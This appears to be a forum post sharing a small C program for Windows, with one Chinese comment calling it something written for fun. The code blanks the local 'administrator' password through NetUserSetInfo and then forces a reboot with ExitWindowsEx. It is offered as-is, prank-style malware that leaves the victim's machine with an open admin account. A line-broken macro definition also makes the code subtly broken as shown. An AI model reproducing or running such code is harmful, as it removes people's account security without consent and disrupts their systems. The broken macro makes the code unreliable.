#include <stdio.h> 
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#define EWX_FORCEIFHUNG 0x00000010
#define PWLEN
       256
typedef struct
{
 LPWSTR pass;
}userpass,*Puserpass;
DWORD SetUserPwd(char *user, char *pass) 
{ 
wchar_t wuser[PWLEN], wpass[PWLEN]; 
userpass ui; 
mbstowcs(wuser, user, strlen(user)+1); 
mbstowcs(wpass, pass, strlen(pass)+1); 
ui.pass = wpass; 
return NetUserSetInfo(NULL, wuser, 1003, (LPBYTE)&ui, NULL); 
}
int main() 
{
 
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    OSVERSIONINFO osvi;
    SetUserPwd("administrator","");
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if(GetVersionEx(&osvi) == 0)
        return -1;
    if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
    {
        if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
            return -1;
        LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken,false,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
    }
    ExitWindowsEx(2,0);
return 0; 
}
当时编着玩的,打开QQ的ShellExecute()函数自己百度去